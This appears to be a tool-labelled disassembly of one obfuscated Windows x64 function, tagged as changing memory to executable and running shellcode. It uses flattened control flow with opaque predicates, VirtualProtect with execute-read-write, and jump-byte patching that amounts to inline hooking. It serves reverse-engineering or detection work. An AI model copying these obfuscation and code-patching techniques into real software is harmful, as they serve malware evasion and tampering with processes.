Function at 0x140022a50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xa8
mov r12d, edx
mov rax, qword [0x1400532c8]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov esi, r12d
and sil, 1
lea eax, [rsi + rsi]
mov dword [rsp + 0x54], eax
shl sil, 2
mov ecx, ecx
mov eax, 0xddfdb126
lea rdi, [rsp + 0x9c]
mov rbp, qword [sym.imp.KERNEL32.dll_VirtualProtect]
imul rcx, rcx, 0x38
mov qword [rsp + 0x80], rcx
mov r14d, 0xcb87df8f
jmp 0x140022add
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x60d227b4
mov ecx, 0x11b2a482
nop dword [rax]
cmove eax, ecx
cmp dword [0x140053fa8], 0xa
cmovl eax, ecx
cmp eax, 0xf0ffe80d
jle 0x140022b40
cmp eax, 0x40e33333
jle 0x140022b90
cmp eax, 0x70c1abe4
jg 0x140022c45
cmp eax, 0x5af5087f
jle 0x140022d72
cmp eax, 0x5af50880
je 0x140022ee5
cmp eax, 0x60d227b4
je 0x140022ef7
cmp eax, 0x6be7db46
jne 0x140022add
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
mov byte [rax], 0xeb
mov eax, 0xb23206e7
jmp 0x140022add
cmp eax, 0xcb59977a
jg 0x140022bf0
cmp eax, 0xa45b9ccb
jg 0x140022c90
cmp eax, 0x8d2ad645
jle 0x140022db0
cmp eax, 0x8d2ad646
je 0x140022f06
cmp eax, 0x92e8f8c5
je 0x140022f55
cmp eax, 0x9e43af80
jne 0x140022add
mov eax, 0x4e1dc589
jmp 0x140022add
cmp eax, 0x16e6beac
jg 0x140022cc6
cmp eax, 0xffeb7575
jle 0x140022dd5
cmp eax, 0xffeb7576
je 0x140022f6a
cmp eax, 0x10c6f61
je 0x140022f74
cmp eax, 0x11b2a482
jne 0x140022add
cmp byte [rsp + 0x29], 0
setne byte [rsp + 0x2b]
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x60d227b4
mov ecx, 0xf7406079
jmp 0x140022ad0
cmp eax, 0xe7c16cd7
jg 0x140022d26
cmp eax, 0xd0475f49
jle 0x140022e0d
cmp eax, 0xd0475f4a
je 0x140022faf
cmp eax, 0xddfdb126
je 0x140022fc6
cmp eax, 0xe0164583
jne 0x140022add
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xefba5fc9
mov ecx, 0x85bc8b83
jmp 0x140022ad0
cmp eax, 0x75c0c498
jle 0x140022e3b
cmp eax, 0x75c0c499
je 0x140022fee
cmp eax, 0x7b07aa89
je 0x140022ff8
cmp eax, 0x7e982b23
jne 0x140022add
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
mov edx, dword [rax + 0x18]
mov eax, dword [rax + 0x1b]
mov dword [rcx + 3], eax
mov dword [rcx], edx
mov eax, 0xef68ef6a
jmp 0x140022add
cmp eax, 0xb2a10891
jle 0x140022e5b
cmp eax, 0xb2a10892
je 0x140023010
cmp eax, 0xbf723d55
je 0x140023028
cmp eax, 0xc680ad82
jne 0x140022add
mov eax, 0xe7c16cd8
jmp 0x140022add
cmp eax, 0x21203596
jle 0x140022e84
cmp eax, 0x21203597
je 0x140023046
cmp eax, 0x2b2a74a0
je 0x140023065
cmp eax, 0x2c492a05
jne 0x140022add
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x90]
sub ecx, eax
add ecx, 0xfffffffb
mov rax, qword [rsp + 0x70]
mov dword [rax + 1], ecx
mov rax, qword [rsp + 0x40]
test byte [rax], 1
mov eax, 0x6be7db46
mov ecx, 0x75c0c499
cmove eax, ecx
jmp 0x140022add
cmp eax, 0xedf3a9e7
jle 0x140022eb8
cmp eax, 0xedf3a9e8
je 0x140023092
cmp eax, 0xef68ef6a
je 0x1400230ba
cmp eax, 0xefba5fc9
jne 0x140022add
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
movzx edx, byte [rax + 0x1c]
mov byte [rcx + 4], dl
mov eax, dword [rax + 0x18]
mov dword [rcx], eax
mov eax, 0x85bc8b83
jmp 0x140022add
cmp eax, 0x40e33334
je 0x1400230c4
cmp eax, 0x4e1dc589
jne 0x140023196
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e43af80
cmove eax, r14d
cmp dword [0x140053fa8], 0xa
cmovl eax, r14d
jmp 0x140022add
cmp eax, 0x85bc8b83
je 0x1400230db
cmp eax, 0x8986c1ab
jne 0x140022add
mov eax, 0x44c3bf08
mov ebx, 0xa
jmp 0x140022add
cmp eax, 0xf0ffe80e
je 0x14002310f
cmp eax, 0xf7406079
jne 0x140022add
cmp byte [rsp + 0x2b], 0
mov eax, 0xedf3a9e8
mov ecx, 0xcb59977b
cmovne eax, ecx
mov r15d, 5
mov r13, qword [rsp + 0x68]
jmp 0x140022add
cmp eax, 0xcb59977b
je 0x14002312d
cmp eax, 0xcb87df8f
jne 0x140022add
mov eax, 0xedf3a9e8
mov r15d, 7
mov r13, qword [rsp + 0x88]
jmp 0x140022add
cmp eax, 0x70c1abe5
je 0x140023148
cmp eax, 0x7383ca69
jne 0x140022add
mov eax, 0xbf723d55
jmp 0x140022add
cmp eax, 0xa45b9ccc
je 0x140022ab4
cmp eax, 0xb23206e7
jne 0x140022add
mov rax, qword [rsp + 0x78]
mov byte [rax + 1], 0xf9
mov eax, 0x75c0c499
jmp 0x140022add
cmp eax, 0x16e6bead
je 0x140023152
cmp eax, 0x18f68265
jne 0x140022add
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xffeb7576
mov ecx, 0xf0ffe80e
jmp 0x140022ad0
cmp eax, 0xe7c16cd8
je 0x14002318c
cmp eax, 0xea04d3a1
jne 0x140022add
cmp byte [rsp + 0x2d], 0
mov eax, 0xb2a10892
mov ecx, 0x2b2a74a0
cmovne eax, ecx
jmp 0x140022add
test r12d, r12d
setne byte [rsp + 0x2d]
mov eax, 0x18f68265
jmp 0x140022add
movzx eax, byte [rsp + 0x29]
mov eax, 0x11b2a482
jmp 0x140022add
mov r8d, dword [rsp + 0x9c]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov r9, rdi
call rbp
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
and al, 0xf9
or al, byte [rsp + 0x54]
or al, sil
mov byte [rsp + 0x2f], al
mov eax, 0x7b07aa89
jmp 0x140022add
movzx eax, byte [rsp + 0x2a]
and al, 1
mov byte [rsp + 0x29], al
mov eax, 0xa45b9ccc
jmp 0x140022add
mov eax, 0xf0ffe80e
jmp 0x140022add
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov rax, qword [rax]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x38]
add rax, 0x20
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
mov byte [rsp + 0x2a], al
mov eax, 0x92e8f8c5
jmp 0x140022add
cmp byte [rsp + 0x2e], 0
mov eax, 0xe0164583
mov ecx, 0x7e982b23
cmovne eax, ecx
jmp 0x140022add
mov rax, qword [0x140054380]
add rax, qword [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x58], rdi
mov rax, qword [rsp + 0x58]
mov eax, 0x10c6f61
jmp 0x140022add
mov eax, 0x8d2ad646
jmp 0x140022add
mov rax, qword [rsp + 0x40]
movzx ecx, byte [rsp + 0x2f]
mov byte [rax], cl
mov eax, 0x44c3bf08
xor ebx, ebx
jmp 0x140022add
mov rax, qword [rsp + 0x40]
movzx eax, byte [rax]
and al, 1
mov byte [rsp + 0x2e], al
mov eax, 0xd0475f4a
jmp 0x140022add
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9e43af80
mov ecx, 0x4e1dc589
jmp 0x140022ad0
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x40
mov r9, rdi
call rbp
mov eax, 0x16e6bead
jmp 0x140022add
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov byte [rax], 0xe9
mov rax, qword [rsp + 0x38]
mov rax, qword [rax + 8]
mov qword [rsp + 0x90], rax
mov eax, 0x2c492a05
jmp 0x140022add
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x30], r13
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x21203597
mov ecx, 0x16e6bead
jmp 0x140022ad0
mov eax, 0x8d2ad646
jmp 0x140022add
cmp byte [rsp + 0x2c], 0
mov eax, 0x8986c1ab
mov ecx, 0x5af50880
cmovne eax, ecx
jmp 0x140022add
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
movzx edx, byte [rax + 0x1c]
mov byte [rcx + 4], dl
mov eax, dword [rax + 0x18]
mov dword [rcx], eax
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xefba5fc9
mov ecx, 0xc680ad82
jmp 0x140022ad0
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xffeb7576
mov ecx, 0xea04d3a1
jmp 0x140022ad0
mov rax, qword [rsp + 0x68]
add rax, 0xfffffffffffffffb
mov qword [rsp + 0x88], rax
mov eax, 0x70c1abe5
jmp 0x140022add
mov eax, 0x7383ca69
jmp 0x140022add
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
mov r8d, 0x40
mov r9, rdi
call rbp
test eax, eax
setne byte [rsp + 0x2c]
mov eax, dword [0x140053fa4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x21203597
mov ecx, 0x40e33334
jmp 0x140022ad0
mov eax, 0x8d2ad646
jmp 0x140022add
cmp eax, 0x44c3bf08
jne 0x140022add
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140032600
mov eax, ebx
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret